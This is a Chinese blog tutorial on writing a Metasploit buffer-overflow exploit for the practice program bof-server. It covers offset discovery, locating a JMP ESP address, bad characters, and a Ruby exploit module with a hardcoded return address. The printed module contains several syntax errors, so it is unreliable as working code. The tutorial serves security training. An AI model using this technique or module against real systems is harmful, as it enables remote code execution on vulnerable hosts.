渗透测试笔记之浅谈MSFexploit开发(禁止盗版)

根据作者所学知识,写下本篇文章,msf全程metasploit framework,是一款十分出色的漏洞利用工具本篇文章不对具体的编写做过多介绍,只介绍思路。

基本知识

想要编写exploit,需要了解基本知识,先来了解寄存器,寄存器此处暂且提到三个,即ebp栈底指针寄存器,ESP栈顶指针寄存器,eip指令寄存器,其中最为重点的就要数eip寄存器了,想要运行shellcode获得shell,就要改写eip指针指向jmpesp指针,指向shellcode,从而获得shell。那么此处还要引入一个概念,即缓冲区,本文章介绍的主要围绕缓冲区溢出,总体思路就是,找到足以改写(也是正好改写)eip总长度,这个长度我们称为偏移量(offset)。

开发总体思路

下面来介绍一下Exploit的开发总体思路,建议先了解计算机CPU、内存工作原理及步骤再阅读此文。
Exploit开发可以简单分为4步
1.填充EIP寄存器起始地址之前的Buffer和EBP寄存器
2.使用JMP ESP地址改写EIP地址,指向Shellcode
3.在攻击载荷前提供一些填充数据,以保证其正常运行
4.删除坏字节,使其可以持续运行不中断
本文将会提到一个实例,该实例由作者读过的一本书的作者编写,这个有漏洞的程序叫做bof-server,下载地址是http://redstack.net/blog/category/How%2To.html,感兴趣的可以下载下来进行参考。

使该程序崩溃(缓冲区溢出)

我们发现,该程序运行在200端口上,我们使用telnet连接,向其发送多个AAAAAAAAAAAAAAAAAAAAAAAAAAAA…然后回到运行该程序的主机,会发现该程序已经崩溃,崩溃报告上offset是41414141,转换过来就是AAAA,说明此时,该程序缓冲区接受了我们发送的数据后被溢出,波及了其他寄存器,导致无法找到下一条指令,从而报错。

找到偏移量

光让他崩溃是远远不够的,我们的目标是要运行shellcode拿到shell(志当存高远,滑稽),我们下面要找到他的偏移量,用来确定填满EBP和Buffer的数据长度。
那我们怎么找到偏移量呢,此处介绍一种方法,也是作者最喜欢的方法。在Kali系统有两个Ruby编写的脚本,名字分别是pattern_create.rb和pattern_offset.rb,这两个脚本需要成套使用。
前面的用来创建字符串,后面的用来对崩溃返回的offset进行计算,算出offset。
语法为

root@kali:pattern_create.rb length(长度,一个整数)

该脚本在命令行运行后,会返回一大串字符串,将其发送至目标地址的目标端口,即可。
在得到了崩溃报告后,我们得知了改写EIP的字节,由于该脚本生成的字符串有规律,所以得到改写EIP的数据(即报告里的offset,也可以看调试器如immunity、OllyDBG等),然后就会用到第二个脚本,语法如下,例如改写EIP指针的数据是72413372 语法如下

root@kali: pattern_offset.rb 72413372
[*] Exact match at offset 520

该结果说明(第二行为返回结果)偏移量为520

查找JMP ESP地址

下面,我们需要找到JMP ESP地址以改写EIP。
之所以需要这个地址,是因为我们通过ESP载入Payload,我们需要找到这个地址,该地址指向ESP。因此,我们需要从外部DLL找到该地址(JMP ESP),我们在此之前需要找到程序都载入了哪些DLL,打开调试器(immunity,OllyDBG等),讲目标进程附加在调试器上。找到Executable modules,即可看到所有引入的DLL文件,这里我们使用Kali得另外一款工具来寻找JMPESP,这款工具也是由Kali集成,叫做msfpescan。寻找该地址语法为:

msfpescan -j esp -f dll文件地址

找到地址后需要填充空间,以保证其正常运行。
我们打开调试器,将Offset组合JMPESP发送给程序,观察EIP指针变化(调试器中),如果发送Offset+ABCDEF,EIP被改写成BCDEF,说明需要填充一个字节,这里我们使用NOP,即\x90.

确定Badchars

一般坏字节有:\x00,\x20,\x0a,\x0d

确定空间限制

载入shellcode需要足够的空间,所以我们需要确定空间限制,如果实在无法满足需求,则先载入一个小的shellcode,再传大的shellcode。
下面我们就可以开始编写了

尾声——模块编写

下面,我们开始编写这个模块, 作者对这个模块进行了些许修改,采用语言没变,仍然是Ruby

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
	
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
		'Name'         => 'Buffer Overflow Exmaple'
		'Description'  => %q{
		use this to exploit Vuln
		}
		'Platform'     => 'windows'
		'Author'       =>
		[
			NorthCitySilence(南城无笙)
		]
		'Payload'  =>
		{
		'space' => 1000,
		'Badchars' => "\x00\xff\x20\x0a\x0d"
		}
		'Targets' =>
		[
			['Windows XP SP2',{'Ret' => 0x71AB9372, 'Offset' => 520}]           #此处为JMPESP地址
		'DisclosureData' => 'Time(M/D/Y)'
		))
		register_options(
		[
			opt::RPORT(200)
		])
	 end
	 def exploit
	 	connect
	 	buf = make_nops(target['Offset'])
	 	buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
	 	sock.put(buf)
	 	disconnect
	 end
end

以上就是整个编写流程,本人组建了 星河网络安全群,同行的各位欢迎入群,需要考核,有兴趣的或对本文章有问题加我Q:2569207390或在文章评论区和平发表看法。
欢迎对本文以及本人得不足之处进行批评以及指导,本文源码可以进行复制等,本文文章部分禁止未经允许转载。谢谢配合。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Rf..

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值